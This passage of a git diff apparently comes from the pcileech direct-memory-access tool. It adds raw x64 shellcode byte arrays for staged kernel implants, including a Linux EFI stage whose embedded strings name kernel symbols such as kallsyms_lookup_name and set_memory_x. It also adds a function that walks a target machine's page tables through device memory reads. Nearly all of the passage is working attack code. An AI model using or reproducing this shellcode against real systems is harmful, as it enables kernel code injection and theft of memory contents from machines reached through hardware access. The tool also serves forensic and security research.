0x03, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0xf0, 0x41, - 0xb8, 0x0a, 0x00, 0x00, 0x00, 0x48, 0x89, 0x43, 0x30, 0x48, 0x8b, 0xd5, - 0xe8, 0x51, 0xfc, 0xff, 0xff, 0x48, 0x83, 0x63, 0x20, 0x00, 0x48, 0x83, - 0x63, 0x28, 0x00, 0x48, 0x83, 0x23, 0x00, 0x48, 0x83, 0xa3, 0xf8, 0x0f, - 0x00, 0x00, 0x00, 0x4c, 0x89, 0x63, 0x38, 0x4c, 0x8d, 0x5c, 0x24, 0x50, - 0x49, 0x8b, 0x5b, 0x20, 0x49, 0x8b, 0x6b, 0x28, 0x49, 0x8b, 0x73, 0x30, - 0x49, 0x8b, 0xe3, 0x41, 0x5e, 0x41, 0x5c, 0x5f, 0xc3 + 0x49, 0x10, 0xe8, 0x8d, 0xfc, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x75, 0x0e, + 0xb8, 0x01, 0x00, 0x00, 0xf0, 0x48, 0x89, 0x43, 0x30, 0xe9, 0x6d, 0x02, + 0x00, 0x00, 0x41, 0xbc, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x41, + 0x8b, 0xd4, 0xe8, 0x61, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0xe8, 0x48, 0x85, + 0xc0, 0x75, 0x07, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xeb, 0xd7, 0x48, 0x8b, + 0x53, 0x20, 0x48, 0x8b, 0x4b, 0x10, 0xe8, 0xbf, 0xfd, 0xff, 0xff, 0x4c, + 0x8b, 0x43, 0x18, 0x48, 0x8b, 0xd0, 0x48, 0x8b, 0x8b, 0x10, 0x03, 0x00, + 0x00, 0x49, 0xc1, 0xe8, 0x0c, 0x48, 0x89, 0x43, 0x28, 0xe8, 0x50, 0xfd, + 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x30, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x54, + 0x24, 0x30, 0xe8, 0x3f, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x28, 0x03, + 0x00, 0x00, 0x4c, 0x89, 0x63, 0x30, 0xe8, 0x2f, 0xfd, 0xff, 0xff, 0x48, + 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x75, 0x30, 0x48, + 0x8b, 0x8b, 0x30, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x40, 0xe8, + 0x12, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x48, 0x83, 0xc0, + 0x05, 0x48, 0x39, 0x44, 0x24, 0x40, 0x76, 0xc3, 0x49, 0x8b, 0x0e, 0xba, + 0x64, 0x00, 0x00, 0x00, 0xe8, 0xf5, 0xfc, 0xff, 0xff, 0xeb, 0xb4, 0x48, + 0xc7, 0x43, 0x30, 0x02, 0x00, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x03, 0x0f, + 0x84, 0x7e, 0x01, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x04, 0x75, 0x43, 0x48, + 0x8b, 0x8b, 0x38, 0x03, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x2d, 0x48, + 0x83, 0x63, 0x48, 0x00, 0x48, 0x8d, 0x05, 0x47, 0xfd, 0xff, 0xff, 0x4c, + 0x8b, 0xcb, 0x48, 0x89, 0x44, 0x24, 0x20, 0x41, 0x83, 0xc8, 0xff, 0x33, + 0xd2, 0xe8, 0xb0, 0xfc, 0xff, 0xff, 0x33, 0xc9, 0x48, 0x85, 0xc0, 0x0f, + 0x94, 0xc1, 0x48, 0x89, 0x4b, 0x38, 0xeb, 0x05, 0x48, 0x83, 0x63, 0x38, + 0x00, 0xe8, 0x6d, 0xfd, 0xff, 0xff, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, + 0x00, 0x05, 0x75, 0x18, 0x4c, 0x8d, 0x83, 0x20, 0x02, 0x00, 0x00, 0x48, + 0x8b, 0xcb, 0x48, 0x8d, 0x93, 0x20, 0x01, 0x00, 0x00, 0xff, 0x53, 0x28, + 0x4c, 0x89, 0x63, 0x38, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x49, + 0x2b, 0xc4, 0x49, 0x3b, 0xc4, 0x0f, 0x87, 0xa7, 0x00, 0x00, 0x00, 0x4c, + 0x8b, 0x43, 0x48, 0x48, 0x8d, 0x05, 0x02, 0xfd, 0xff, 0xff, 0x48, 0x8b, + 0x53, 0x40, 0x4c, 0x8b, 0xcb, 0x48, 0x8b, 0x8b, 0x38, 0x03, 0x00, 0x00, + 0x49, 0xc1, 0xe8, 0x0c, 0x48, 0xc1, 0xea, 0x0c, 0x48, 0x89, 0x44, 0x24, + 0x20, 0xe8, 0x38, 0xfc, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x49, 0x3b, 0xc4, + 0x74, 0x6f, 0x48, 0x8b, 0x53, 0x40, 0x48, 0x85, 0xc0, 0x75, 0x0b, 0x48, + 0x8b, 0x4b, 0x10, 0xe8, 0x72, 0xfc, 0xff, 0xff, 0xeb, 0x10, 0x4c, 0x8b, + 0x43, 0x48, 0x48, 0x8b, 0x8b, 0x48, 0x03, 0x00, 0x00, 0xe8, 0x0c, 0xfc, + 0xff, 0xff, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x74, 0x43, 0x4c, 0x8b, + 0x4b, 0x48, 0x48, 0x8b, 0x8b, 0x20, 0x03, 0x00, 0x00, 0x4c, 0x39, 0xa3, + 0xf8, 0x0f, 0x00, 0x00, 0x75, 0x09, 0x48, 0x8b, 0x53, 0x28, 0x4c, 0x8b, + 0xc0, 0xeb, 0x07, 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b, 0xd7, 0xe8, 0xdb, + 0xfb, 0xff, 0xff, 0x48, 0x85, 0xf6, 0x74, 0x0f, 0x48, 0x8b, 0x8b, 0x40, + 0x03, 0x00, 0x00, 0x48, 0x8b, 0xd7, 0xe8, 0xc7, 0xfb, 0xff, 0xff, 0x4c, + 0x89, 0x63, 0x38, 0xeb, 0x05, 0x48, 0x83, 0x63, 0x38, 0x00, 0x48, 0x83, + 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x06, 0x75, 0x1c, 0x4c, 0x8b, 0x4b, 0x48, + 0x4c, 0x8b, 0x43, 0x40, 0x48, 0x8b, 0x53, 0x28, 0x48, 0x8b, 0x8b, 0x20, + 0x03, 0x00, 0x00, 0xe8, 0x9a, 0xfb, 0xff, 0xff, 0x4c, 0x89, 0x63, 0x38, + 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x07, 0x75, 0x1c, 0x4c, 0x8b, + 0x4b, 0x48, 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b, 0x53, 0x40, 0x48, 0x8b, + 0x8b, 0x20, 0x03, 0x00, 0x00, 0xe8, 0x74, 0xfb, 0xff, 0xff, 0x4c, 0x89, + 0x63, 0x38, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x00, 0xe9, 0x13, + 0xfe, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x18, 0x03, 0x00, 0x00, 0xb8, 0x00, + 0x00, 0x00, 0xf0, 0x41, 0xb8, 0x0a, 0x00, 0x00, 0x00, 0x48, 0x89, 0x43, + 0x30, 0x48, 0x8b, 0xd5, 0xe8, 0x45, 0xfb, 0xff, 0xff, 0x48, 0x83, 0x63, + 0x20, 0x00, 0x48, 0x83, 0x63, 0x28, 0x00, 0x48, 0x83, 0x23, 0x00, 0x48, + 0x83, 0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x00, 0x4c, 0x89, 0x63, 0x38, 0x4c, + 0x8d, 0x5c, 0x24, 0x50, 0x49, 0x8b, 0x5b, 0x20, 0x49, 0x8b, 0x6b, 0x28, + 0x49, 0x8b, 0x73, 0x30, 0x49, 0x8b, 0xe3, 0x41, 0x5e, 0x41, 0x5c, 0x5f, + 0xc3 +}; + +const BYTE LINUX_X64_STAGE2_EFI_BIN[] = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, + 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, + 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x49, 0xc7, 0xc3, 0x0e, + 0x00, 0x00, 0x00, 0x49, 0xff, 0xcb, 0x58, 0x48, 0x85, 0xc0, 0x74, 0xf7, + 0x50, 0x4c, 0x8b, 0xd0, 0x48, 0x8d, 0x05, 0xf9, 0xfe, 0xff, 0xff, 0x42, + 0xff, 0x74, 0xd8, 0x08, 0x57, 0x56, 0x51, 0x52, 0x41, 0x50, 0x41, 0x51, + 0x53, 0x55, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0xc7, + 0xc1, 0x0e, 0x00, 0x00, 0x00, 0x48, 0xff, 0xc9, 0x48, 0x8d, 0x05, 0xd1, + 0xfe, 0xff, 0xff, 0x48, 0x8b, 0x14, 0xc8, 0x48, 0x8b, 0x05, 0xbe, 0xfe, + 0xff, 0xff, 0x48, 0x89, 0x54, 0xc8, 0x18, 0x48, 0x85, 0xc9, 0x75, 0xe1, + 0x49, 0x8b, 0xca, 0xe8, 0x26, 0x00, 0x00, 0x00, 0xe8, 0x76, 0x00, 0x00, + 0x00, 0xe8, 0xe3, 0x00, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, + 0x41, 0x5c, 0x5d, 0x5b, 0x41, 0x59, 0x41, 0x58, 0x5a, 0x59, 0x5e, 0x5f, + 0x58, 0x48, 0x89, 0x05, 0x08, 0xff, 0xff, 0xff, 0xff, 0xe0, 0x48, 0x8d, + 0x05, 0xf6, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x28, 0x4c, 0x8b, 0x70, 0x08, + 0x4c, 0x8b, 0x78, 0x0e, 0x48, 0xff, 0xc1, 0x48, 0x8b, 0x01, 0x49, 0x3b, + 0xc5, 0x75, 0xf5, 0x48, 0x8b, 0x41, 0x08, 0x49, 0x3b, 0xc6, 0x75, 0xec, + 0x48, 0x8b, 0x41, 0x0e, 0x49, 0x3b, 0xc7, 0x75, 0xe3, 0x48, 0xff, 0xc1, + 0x4c, 0x8b, 0xf9, 0x48, 0xc1, 0xe9, 0x03, 0x48, 0xc1, 0xe1, 0x03, 0x48, + 0x83, 0xe9, 0x08, 0x48, 0x8b, 0x01, 0x49, 0x3b, 0xc7, 0x75, 0xf4, 0x48, + 0x8b, 0x41, 0xf8, 0x48, 0x89, 0x05, 0x02, 0xff, 0xff, 0xff, 0xc3, 0x41, + 0x57, 0x4c, 0x8b, 0x3d, 0xf8, 0xfe, 0xff, 0xff, 0x48, 0x8d, 0x3d, 0xea, + 0x01, 0x00, 0x00, 0x41, 0xff, 0xd7, 0x48, 0x89, 0x05, 0xdf, 0xfe, 0xff, + 0xff, 0x48, 0x8d, 0x3d, 0xe2, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd7, 0x48, + 0x89, 0x05, 0xc6, 0xfe, 0xff, 0xff, 0x48, 0x8d, 0x3d, 0xa3, 0x01, 0x00, + 0x00, 0x41, 0xff, 0xd7, 0x48, 0x89, 0x05, 0xad, 0xfe, 0xff, 0xff, 0x48, + 0x8d, 0x3d, 0xa6, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd7, 0x48, 0x89, 0x05, + 0x94, 0xfe, 0xff, 0xff, 0x48, 0x8d, 0x3d, 0x6a, 0x01, 0x00, 0x00, 0x41, + 0xff, 0xd7, 0x48, 0x89, 0x05, 0x73, 0xfe, 0xff, 0xff, 0x48, 0x8d, 0x3d, + 0xab, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd7, 0x48, 0x89, 0x05, 0x6a, 0xfe, + 0xff, 0xff, 0x41, 0x5f, 0xc3, 0x48, 0xc7, 0xc7, 0x14, 0x00, 0x00, 0x00, + 0x48, 0xc7, 0xc6, 0x00, 0x00, 0x00, 0x00, 0xff, 0x15, 0x63, 0xfe, 0xff, + 0xff, 0x48, 0x8b, 0xf8, 0xe8, 0x01, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0xe8, + 0x49, 0x8b, 0xfd, 0xe8, 0xeb, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xe0, 0x4c, + 0x89, 0x2d, 0x0e, 0xfe, 0xff, 0xff, 0x4c, 0x89, 0x25, 0x0f, 0xfe, 0xff, + 0xff, 0x48, 0x8d, 0x05, 0x9f, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x15, 0xab, + 0x01, 0x00, 0x00, 0x48, 0x81, 0xe2, 0xff, 0x0f, 0x00, 0x00, 0x49, 0x03, + 0xd4, 0x48, 0x89, 0x10, 0x48, 0x8b, 0x15, 0x2d, 0xfe, 0xff, 0xff, 0x48, + 0x83, 0xc2, 0x19, 0x48, 0x8b, 0x0d, 0x1a, 0xfe, 0xff, 0xff, 0x2b, 0xca, + 0x48, 0x8d, 0x05, 0x7f, 0x01, 0x00, 0x00, 0x89, 0x08, 0x48, 0x33, 0xc9, + 0x4c, 0x8b, 0x05, 0x0d, 0xfe, 0xff, 0xff, 0x4c, 0x8d, 0x0d, 0x37, 0x01, + 0x00, 0x00, 0x4a, 0x8b, 0x04, 0x01, 0x4a, 0x89, 0x04, 0x09, 0x48, 0x83, + 0xc1, 0x08, 0x48, 0x83, 0xf9, 0x20, 0x75, 0xee, 0x48, 0x33, 0xc9, 0x4c, + 0x8d, 0x05, 0xfa, 0xfd, 0xff, 0xff, 0x49, 0xc1, 0xe8, 0x0c, 0x49, 0xc1, + 0xe0, 0x0c, 0x4a, 0x8b, 0x04, 0x01, 0x4a, 0x89, 0x04, 0x21, 0x48, 0x83, + 0xc1, 0x08, 0x48, 0x81, 0xf9, 0x00, 0x10, 0x00, 0x00, 0x75, 0xeb, 0x0f, + 0x20, 0xc0, 0x4c, 0x8b, 0xf8, 0x25, 0xff, 0xff, 0xfe, 0xff, 0x0f, 0x22, + 0xc0, 0x48, 0x33, 0xc9, 0x4c, 0x8b, 0x05, 0xb5, 0xfd, 0xff, 0xff, 0x4c, + 0x8d, 0x0d, 0xff, 0x00, 0x00, 0x00, 0x4a, 0x8b, 0x04, 0x09, 0x4a, 0x89, + 0x04, 0x01, 0x48, 0x83, 0xc1, 0x08, 0x48, 0x83, 0xf9, 0x20, 0x75, 0xee, + 0x41, 0x0f, 0x22, 0xc7, 0x44, 0x89, 0x2d, 0xc1, 0xfc, 0xff, 0xff, 0xc3, + 0x48, 0x8b, 0x05, 0x71, 0xfd, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x74, 0x04, + 0x48, 0x8b, 0x00, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, + 0xff, 0xff, 0xc3, 0x57, 0xe8, 0xdf, 0xff, 0xff, 0xff, 0x5f, 0x48, 0x03, + 0xc7, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0xff, 0xff, + 0x48, 0x2b, 0xf8, 0x48, 0xc1, 0xef, 0x07, 0x48, 0xc1, 0xe7, 0x0c, 0x48, + 0x8b, 0xc7, 0xc3, 0x00, 0x6b, 0x61, 0x6c, 0x6c, 0x73, 0x79, 0x6d, 0x73, + 0x5f, 0x6c, 0x6f, 0x6f, 0x6b, 0x75, 0x70, 0x5f, 0x6e, 0x61, 0x6d, 0x65, + 0x00, 0x6b, 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x5f, 0x63, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x5f, 0x6f, 0x6e, 0x5f, 0x6e, 0x6f, 0x64, 0x65, 0x00, + 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x5f, 0x70, 0x61, 0x67, 0x65, 0x73, 0x5f, + 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x00, 0x70, 0x61, 0x67, 0x65, + 0x5f, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x5f, 0x62, 0x61, 0x73, 0x65, + 0x00, 0x76, 0x66, 0x73, 0x5f, 0x72, 0x65, 0x61, 0x64, 0x00, 0x73, 0x65, + 0x74, 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x5f, 0x78, 0x00, 0x77, + 0x61, 0x6b, 0x65, 0x5f, 0x75, 0x70, 0x5f, 0x70, 0x72, 0x6f, 0x63, 0x65, + 0x73, 0x73, 0x00, 0x70, 0x63, 0x69, 0x6c, 0x65, 0x65, 0x63, 0x68, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x56, 0x52, + 0x51, 0x48, 0xbf, 0x88, 0x88, 0x88, 0x88, 0x88, 0x88, 0x88, 0x88, 0x57, + 0xbe, 0x01, 0x00, 0x00, 0x00, 0xe9, 0x77, 0x77, 0x77, 0x77, 0x41, 0x50, + 0x41, 0x51, 0x53, 0x55, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, + 0x0f, 0x20, 0xc2, 0x48, 0x8b, 0xc2, 0x25, 0xff, 0xff, 0xfe, 0xff, 0x0f, + 0x22, 0xc0, 0x48, 0x33, 0xc9, 0x4c, 0x8b, 0x05, 0x70, 0xfc, 0xff, 0xff, + 0x4c, 0x8d, 0x0d, 0x9a, 0xff, 0xff, 0xff, 0x4a, 0x8b, 0x04, 0x09, 0x4a, + 0x89, 0x04, 0x01, 0x48, 0x83, 0xc1, 0x08, 0x48, 0x83, 0xf9, 0x20, 0x75, + 0xee, 0x0f, 0x22, 0xc2, 0xb0, 0x00, 0xb2, 0x01, 0x48, 0x8d, 0x0d, 0x79, + 0xff, 0xff, 0xff, 0xf0, 0x0f, 0xb0, 0x11, 0x75, 0x05, 0xe8, 0x5a, 0x00, + 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5d, 0x5b, + 0x41, 0x59, 0x41, 0x58, 0x59, 0x5a, 0x5e, 0x5f, 0xff, 0x25, 0x26, 0xfc, + 0xff, 0xff, 0xeb, 0x07, 0x6d, 0x73, 0x6c, 0x65, 0x65, 0x70, 0x00, 0x48, + 0x8d, 0x3d, 0xf2, 0xff, 0xff, 0xff, 0x48, 0x8d, 0x05, 0xf9, 0xef, 0xff, + 0xff, 0x48, 0x8b, 0x00, 0xff, 0xd0, 0x48, 0xc7, 0xc7, 0x64, 0x00, 0x00, + 0x00, 0xff, 0xd0, 0x48, 0x8d, 0x05, 0xcc, 0xff, 0xff, 0xff, 0x48, 0x8b, + 0x00, 0x48, 0x83, 0xf8, 0x00, 0x74, 0xd4, 0x48, 0x33, 0xc0, 0xb9, 0x00, + 0x04, 0x00, 0x00, 0xfc, 0xf3, 0x48, 0xab, 0xc3, 0x48, 0xc7, 0xc7, 0x14, + 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x02, 0x00, 0x00, 0x00, 0xff, 0x15, + 0xc0, 0xfb, 0xff, 0xff, 0x48, 0x8b, 0xf8, 0xe8, 0x5e, 0xfe, 0xff, 0xff, + 0x4c, 0x8b, 0xe8, 0x49, 0x8b, 0xfd, 0xe8, 0x48, 0xfe, 0xff, 0xff, 0x4c, + 0x8b, 0xe0, 0x49, 0x8b, 0xfc, 0x48, 0xc7, 0xc6, 0x02, 0x00, 0x00, 0x00, + 0xff, 0x15, 0xa2, 0xfb, 0xff, 0xff, 0x49, 0x8b, 0xfc, 0xe8, 0xb1, 0xff, + 0xff, 0xff, 0x48, 0xc7, 0xc7, 0x40, 0x00, 0x00, 0x00, 0x48, 0x83, 0xef, + 0x08, 0x48, 0x8d, 0x05, 0x6a, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x04, 0x07, + 0x49, 0x8b, 0xf4, 0x48, 0x81, 0xc6, 0x00, 0x10, 0x00, 0x00, 0x48, 0x03, + 0xf7, 0x48, 0x89, 0x06, 0x48, 0x85, 0xff, 0x75, 0xdc, 0x49, 0x8b, 0xfc, + 0x48, 0x81, 0xc7, 0x00, 0x10, 0x00, 0x00, 0x48, 0x33, 0xf6, 0x48, 0x33, + 0xd2, 0x48, 0x83, 0xea, 0x01, 0x48, 0x8d, 0x0d, 0x83, 0xfe, 0xff, 0xff, + 0xff, 0x15, 0x2e, 0xfb, 0xff, 0xff, 0x49, 0x89, 0x44, 0x24, 0x58, 0x48, + 0x8b, 0x05, 0x52, 0xfb, 0xff, 0xff, 0x49, 0x89, 0x44, 0x24, 0x10, 0x49, + 0x8b, 0x7c, 0x24, 0x58, 0xff, 0x15, 0x1a, 0xfb, 0xff, 0xff, 0x44, 0x89, + 0x2d, 0x63, 0xfa, 0xff, 0xff, 0xc3 }; const BYTE MACOS_STAGE1_BIN[] = { @@ -732,9 +881,11 @@ const SHELLCODE_DEFAULT_STRUCT SHELLCODE_DEFAULT[] = { {.sz = "DEFAULT_WINX64_STAGE1",.pb = (PBYTE)WINX64_STAGE1_BIN,.cb = sizeof(WINX64_STAGE1_BIN)}, {.sz = "DEFAULT_WINX64_STAGE2",.pb = (PBYTE)WINX64_STAGE2_BIN,.cb = sizeof(WINX64_STAGE2_BIN)}, {.sz = "DEFAULT_WINX64_STAGE3",.pb = (PBYTE)WINX64_STAGE3_BIN,.cb = sizeof(WINX64_STAGE3_BIN)}, + {.sz = "DEFAULT_WINX64_STAGE2_HAL",.pb = (PBYTE)WINX64_STAGE2_HAL_BIN,.cb = sizeof(WINX64_STAGE2_HAL_BIN)}, {.sz = "DEFAULT_LINUX_X64_STAGE1",.pb = (PBYTE)LINUX_X64_STAGE1_BIN,.cb = sizeof(LINUX_X64_STAGE1_BIN)}, {.sz = "DEFAULT_LINUX_X64_STAGE2",.pb = (PBYTE)LINUX_X64_STAGE2_BIN,.cb = sizeof(LINUX_X64_STAGE2_BIN)}, {.sz = "DEFAULT_LINUX_X64_STAGE3",.pb = (PBYTE)LINUX_X64_STAGE3_BIN,.cb = sizeof(LINUX_X64_STAGE3_BIN)}, + {.sz = "DEFAULT_LINUX_X64_STAGE2_EFI",.pb = (PBYTE)LINUX_X64_STAGE2_EFI_BIN,.cb = sizeof(LINUX_X64_STAGE2_EFI_BIN) }, {.sz = "DEFAULT_MACOS_STAGE1",.pb = (PBYTE)MACOS_STAGE1_BIN,.cb = sizeof(MACOS_STAGE1_BIN)}, {.sz = "DEFAULT_MACOS_STAGE2",.pb = (PBYTE)MACOS_STAGE2_BIN,.cb = sizeof(MACOS_STAGE2_BIN)}, {.sz = "DEFAULT_MACOS_STAGE3",.pb = (PBYTE)MACOS_STAGE3_BIN,.cb = sizeof(MACOS_STAGE3_BIN)}, diff --git a/pcileech/util.c b/pcileech/util.c index cf04085..1f2a4c2 100644 --- a/pcileech/util.c +++ b/pcileech/util.c @@ -1,6 +1,6 @@ // util.c : implementation of various utility functions. // -// (c) Ulf Frisk, 2016 +// (c) Ulf Frisk, 2016, 2017 // Author: Ulf Frisk, pcileech@frizk.net // #include "util.h" @@ -217,6 +217,88 @@ BOOL Util_PageTable_FindSignatureBase(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDevi return FALSE; } +BOOL Util_PageTable_FindMappedAddress(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwCR3, _In_ QWORD qwAddrPhys, _Out_ PQWORD pqwAddrVirt, _Out_ PQWORD pqwPTE) +{ + BOOL result, fFirstRun; + QWORD PML4[512], PDPT[512], PD[512], PT[512]; + QWORD PML4_idx = 0xfff, PDPT_idx = 0xfff, PD_idx = 0xfff, PT_idx = 0xfff; + QWORD qwA; + QWORD qwPageTableData; + UNREFERENCED_PARAMETER(pCfg); + result = DeviceReadMEM(pDeviceData, qwCR3, (PBYTE)PML4, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL); + if(!result) { return FALSE; } + qwA = 0; + fFirstRun = TRUE; + while(qwA || fFirstRun) { + fFirstRun = FALSE; + if(qwA & 0xffff800000000000) { + qwA |= 0xffff800000000000; + } + if(PML4_idx != (0x1ff & (qwA >> 39))) { // PML4 + PML4_idx = 0x1ff & (qwA >> 39); + qwPageTableData = PML4[PML4_idx]; + if((qwPageTableData & 0x81) != 0x01) { + qwA = (qwA + 0x0000008000000000) & 0xffffff8000000000; + continue; + } + result = DeviceReadMEM(pDeviceData, qwPageTableData & ~0xfff, (PBYTE)PDPT, 0x1000, 0); + if(!result) { + qwA = (qwA + 0x0000008000000000) & 0xffffff8000000000; + continue; + } + PDPT_idx = 0xfff; + PD_idx = 0xfff; + PT_idx = 0xfff; + } + if(PDPT_idx != (0x1ff & (qwA >> 30))) { // PDPT(Page-Directory Pointer Table) + PDPT_idx = 0x1ff & (qwA >> 30); + qwPageTableData = PDPT[PDPT_idx]; + if((qwPageTableData & 0x81) != 0x01) { + qwA = (qwA + 0x0000000040000000) & 0xffffffffC0000000; + continue; + } + result = DeviceReadMEM(pDeviceData, qwPageTableData & ~0xfff, (PBYTE)PD, 0x1000, 0); + if(!result) { + qwA = (qwA + 0x0000000040000000) & 0xffffffffC0000000; + continue; + } + PD_idx = 0xfff; + PT_idx = 0xfff; + } + if(PD_idx != (0x1ff & (qwA >> 21))) { // PD (Page Directory) + PD_idx = 0x1ff & (qwA >> 21); + qwPageTableData = PD[PD_idx]; + if(((qwPageTableData & 0x81) == 0x81) && ((qwPageTableData & 0x0000ffffffe00000) == (qwAddrPhys & 0x0000ffffffe00000))) { // map 2MB page + *pqwAddrVirt = qwA + (qwAddrPhys & 0x1fffff); + *pqwPTE = qwPageTableData; + return TRUE; + } + if((qwPageTableData & 0x81) != 0x01) { + qwA = (qwA + 0x0000000000200000) & 0xffffffffffE00000; + continue; + } + result = DeviceReadMEM(pDeviceData, qwPageTableData & ~0xfff, (PBYTE)PT, 0x1000, 0); + if(!result) { + qwA = (qwA + 0x0000000000200000) & 0xffffffffffE00000; + continue; + } + PT_idx = 0xfff; + } + if(PT_idx != (0x1ff & (qwA >> 12))) { // PT (Page Table) + PT_idx = 0x1ff & (qwA >> 12); + qwPageTableData = PT[PT_idx]; + if(((qwPageTableData & 0x01) == 0x01) && ((qwPageTableData & 0x0000fffffffff000) == (qwAddrPhys & 0x0000fffffffff000))) { + *pqwAddrVirt = qwA + (qwAddrPhys & 0xfff); + *pqwPTE = qwPageTableData; + return TRUE; + } + qwA = (qwA + 0x0000000000001000) & 0xfffffffffffff000; + continue; + } + } + return FALSE; +} + BOOL Util_ParseHexFileBuiltin(_In_ LPSTR sz, _Out_ PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcb) { SIZE_T i; @@ -402,7 